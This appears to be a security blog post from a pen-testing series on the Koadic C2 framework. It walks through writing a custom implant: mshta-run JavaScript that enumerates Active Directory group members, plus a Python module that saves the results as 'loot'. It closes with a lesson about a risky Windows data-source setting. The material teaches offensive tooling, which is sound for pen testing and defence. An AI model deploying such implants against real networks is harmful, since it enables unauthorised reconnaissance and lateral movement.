Koadic: Implants and Pen Testing Wisdom, Part III

Koadic: Implants and Pen Testing Wisdom, Part III

One of the benefits of working with Koadic is that you too can try your hand at making enhancements. The Python environment with its nicely organized directory structures lends itself to being tweaked. And if you want to take the ultimate jump, you can add your own implants.

The way to think about Koadic is that it’s a C2 server that lets you deliver JavaScript malware implants to the target and then interact with them from the comfort of your console.

Sure there’s a learning curve to understanding the way the code really ticks. But I can save you hours of research and frustration: each implant has two sides, a Python shell (found in the implant/modules directory) and the actual JavaScript (located in a parallel implant/data directory).

To add a new implant, you need to code up these two parts. And that’s all you need to know. Not quite. I’ll get into some more details below.

So what would be a useful implant to aim for?

Having already experienced the power of PowerView, the PowerShell pen-testing library for querying Active Directory, I decided to add an implant to list AD members for a given group. It seemed like something I can do over a few afternoons, provided I had enough caffeine.

Active Directory Group Members a la Koadic

As I’ve been saying in my various blog series, pen testers have to think and act like hackers in order to effectively probe defenses. A lot of post-exploitation work is learning about the IT landscape. As we saw with PowerView, enumerating users within groups is a very good first step in planning a lateral move.

If you’ve never coded the JavaScript to access Active Directory, you’ll find oodles of online examples on how to set up a connection to a data source using the ADODB object — for example this tutorial. The trickiest part is fine tuning the search criteria.

You can either use SQL-like statements, or else learn the more complex LDAP filter syntax. At this point, it’s probably best to look at the code I cobbled together to do an extended search of an AD group.

objConnection = new ActiveXObject("ADODB.Connection");
objConnection.Provider="ADsDSOObject";
objConnection.Open("Active Directory Provider");
objCommand = new ActiveXObject( "ADODB.Command");


Koadic.work.report("Gathering users ...");
strDom = "<LDAP://"+strDomain+">";
strFilter = "(&(objectCategory=person)(objectClass=user)(memberOf=cn=~GROUP~,cn=Users,"+strDomain+"))";  //Koadic replaces ~GROUP~ with info field
strAttributes = "ADsPath";

strQuery = strDom + ";" + strFilter + ";" + strAttributes + ";Subtree";

objCommand.CommandText=strQuery;

objRecordSet = objCommand.Execute();
objRecordSet.Movefirst;
user_str="";
while(!(objRecordSet.EoF)) {

  user_str +=objRecordSet.Fields("ADsPath").value;
  user_str +="\n";
  objRecordSet.MoveNext;
}
Koadic.work.report(user_str);
Koadic.work.report("...Complete");

I wanted to enumerate the users found in all the underlying subgroups. For example, in searching Domain Admins, the query shouldn’t stop at the first level. The “Subtree” parameter above does the trick. I didn’t have the SQL smarts to work this out in a single “select” statement, so the LDAP filters were the way to go in my case.

I tested the JavaScript independently of Koadic, and it worked fine. Victory!

There’s a small point about how to return the results to the C2 console. Koadic solves this nicely through its own JS support functions. There’s a set of these that lets you collect output from the JavaScript and then deliver it over a special encrypted channel. You can see me doing that with the Koadic.work.report function, which I added to the original JavaScript code.

And this leads nicely to the Python code — technically the client part of the C2 server. For this, I copied and adjusted from an existing Koadic implant, which I’m calling enum_adusers. You can view a part of my implant below.

import core.implant
import uuid

class ADUsersJob(core.job.Job):
    def done(self):
        self.display()
    def display(self):
        if len(self.data.splitlines()) > 10:
            self.shell.print_plain("Lots of users! Only printing first 10 lines...")
            self.shell.print_plain("\n".join(self.data.splitlines()[:10]))
            save_file = "/tmp/loot."+self.session.ip+"."+uuid.uuid4().hex
            with open(save_file, "w") as f:
              f.write(self.data)
            self.shell.print_good("Saved loot list to "+save_file)
        else:
            self.shell.print_plain(self.data)

To display the output sent by the JavaScript side of the implant to the console, I use some of the Python support provided by Koadic’s shell class, in particular the print methods. Under the hood, Koadic is scooping up the data sent by the JavaScript code’s report function, and displaying it to the console.

By the way, Koadic conveniently allows you to reload modules on the fly without having to restart everything! I can tweak my code and use the “load” command in the Koadic console to activate the updates.

My very own Koadic implant. And notice how I was able to change the code on the fly, reload it, and then run it.

I went into detail about all this, partially to inspire you to roll your own implants. But also to make another point. The underlying techniques that Koadic relies on —  rundll32 and mshta — have been known about by hackers for years. What Koadic does is make all this hacking wisdom available to pen testers in a very flexible and relatively simple programming environment.

Some Pen Testing Wisdom

Once you get comfortable with Koadic, you can devise your own implants, quickly test them, and get to the more important goal of pen testing — finding and exploring security weaknesses

Let’s say I’m really impressed by what Sean and Zach have wrought, and Koadic has certainly sped up my understanding of the whole testing process.

For example, a funny happened when I first went to try my enum_adusers implant. It failed with an error message reading something like this,“ Settings on this computer prohibit accessing a data source on another domain.”

I was a little surprised.

If you do some googling you’ll learn that Windows Internet security controls has a special setting to allow browser scripts to access data sources. And in my AWS testing environment, the Amazon overlords wisely made sure that this was disabled for my server instance, which, it should be noted, is certainly not a desktop environment. I turned it on just to get my implant to pull in AD users to work.

Gotcha! Enabling “Access data sources across domain” allowed my implant to work. But it’s a security hole!

Why was the JavaScript I coded for the Koadic implant being treated as if it were a browser-based script, and therefore blocked from making the connection to Active Directory?

Well, because technically it is running in a browser! As I mentioned last time, the Koadic scripts are actually executed by mshta, which is Microsoft’s legacy product for letting you leverage HTML for internal business apps.

The real pen testing wisdom I gained is that if this particular script runs, it means that the remote data source security control is enabled, which is not a good thing, even and perhaps especially on a server.

Next time, I’ll be wrapping up this series, and talk about defending against the kinds of attacks that Koadic represents — stealthy script-based malware.

Continue reading the next post in "Koadic Post-Exploitation Rootkit"

Get the latest security news in your inbox.